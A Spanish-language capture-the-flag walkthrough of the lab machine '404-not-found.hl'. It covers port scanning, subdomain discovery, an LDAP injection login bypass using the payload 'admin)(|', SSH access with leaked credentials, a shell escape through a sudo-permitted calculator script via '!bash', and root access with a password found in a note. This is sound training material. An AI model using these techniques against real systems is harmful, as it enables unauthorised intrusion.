Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap-p---open-sS--min-rate5000-vvv-n-Pn<IP>
nmap-sCV-p<PORTS><IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 06:12 EDT
Nmap scan report for 404-not-found.hl (172.21.0.2)
Host is up (0.000033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 59:4e:10:e2:31:bf:13:43:c9:69:9e:4f:3f:a2:95:a6 (ECDSA)
|_ 256 fb:dc:ca:6e:f5:d6:5a:41:25:2b:b2:21:f1:71:16:6c (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: 404-Not-Found CTF
MAC Address: 02:42:AC:15:00:02 (Unknown)
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.63 seconds
Vemos que hay un puerto 80, pero si entramos mediante la URL nos aparecera directamente un dominio llamado 404-not-found.hl, lo añadiremos a nuestro archivo /hosts para que funcione.
nano/etc/hosts#Dentro del nano<IP> 404-not-found.hl
Lo guardamos y ahora si vamos a ver la pagina, por que ya se resolveria correctamente.
URL = http://404-not-found.hl/
Vemos mucha informacion pero no es muy util practicamente nada, por lo que veremos si tiene algun subdominio de la siguiente forma.
Por lo que vemos encontramos un subdominio llamado info, lo añadiremos en nuestro archivo hosts.
nano/etc/hosts#Dentro del nano<IP> 404-not-found.hl info.404-not-found.hl
Lo guardamos y nos iremos a la siguiente URL.
URL = http://info.404-not-found.hl/
Dentro de este subdominio veremos un panel de login el cual no hace gran cosa, tampoco es inyectable a SQLInjecction, no van las credenciales por defecto, pero si inspeccionamos el codigo vemos lo siguiente.
<!-- I believe this login works with LDAP -->
Nos da una pista de que puede ser vulnerable con un Bypass de LDAP.
Probaremos a bypassear el login de la siguiente forma.
User = admin)(|
Pass = admin)(|
Y por lo que vemos accedemos al panel de administrador, si bajamos un poco vemos unas credenciales las cuales probaremos mediante SSH.
SSH
ssh404-page@<IP>
Metemos la contraseña obtenida not-found-page-secret y ya estariamos dentro.
Escalate user 200-ok
Si hacemos sudo -l veremos lo siguiente.
Matching Defaults entries for 404-page on 084fadd2eeb1:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User 404-page may run the following commands on 084fadd2eeb1:
(200-ok : 200-ok) /home/404-page/calculator.py
Vemos que podemos ejecutar como el usuario 200-ok el script de calculator.py por lo que haremos lo siguiente.
Si ejecutamos ese script vemos que es una calculadora normal, pero si leemos una nota en el siguiente directorio.
cat/var/www/nota.txt
Info:
In the calculator I don't know what the symbol is used for "!" followed by something else, only 200-ok knows.
Nos da una pista de que probemos poniendo el simbolo ! por delante y poner algo, por ejemplo ejecutare un ls poniendo el ! por delante.
sudo-u200-ok/home/404-page/calculator.py#Dentro del script!ls-la
Info:
total 36
drwxr-xr-x 1 404-page 404-page 4096 Aug 19 12:30 .
drwxr-xr-x 1 root root 4096 Aug 19 11:21 ..
-rw------- 1 404-page 404-page 170 Aug 19 11:31 .bash_history
-rw-r--r-- 1 404-page 404-page 220 Aug 19 11:19 .bash_logout
-rw-r--r-- 1 404-page 404-page 3771 Aug 19 11:19 .bashrc
drwx------ 2 404-page 404-page 4096 Aug 19 12:30 .cache
-rw-r--r-- 1 404-page 404-page 807 Aug 19 11:19 .profile
-rwx--x--x 1 200-ok 200-ok 784 Aug 19 11:23 calculator.py
Vemos que nos deja ejecutar comando con un ! delante, por lo que obtendremos la shell del usuario 200-ok de la siguiente forma.
sudo-u200-ok/home/404-page/calculator.py#Dentro del script!bash
Y con esto ya seremos el usuario 200-ok, por lo que leeremos la flag.
user.txt
bef4bb318a17abd01158337811750bcf
Escalate Privileges
Si leemos el archivo llamado boss.txt veremos lo siguiente.
What is rooteable
Puede ser una posible contraseña o algo parecido, por lo que la probaremos con root.
suroot
Y si metemos esa palabra como contraseña de root (rooteable) veremos que somos root, por lo que leeremos la flag.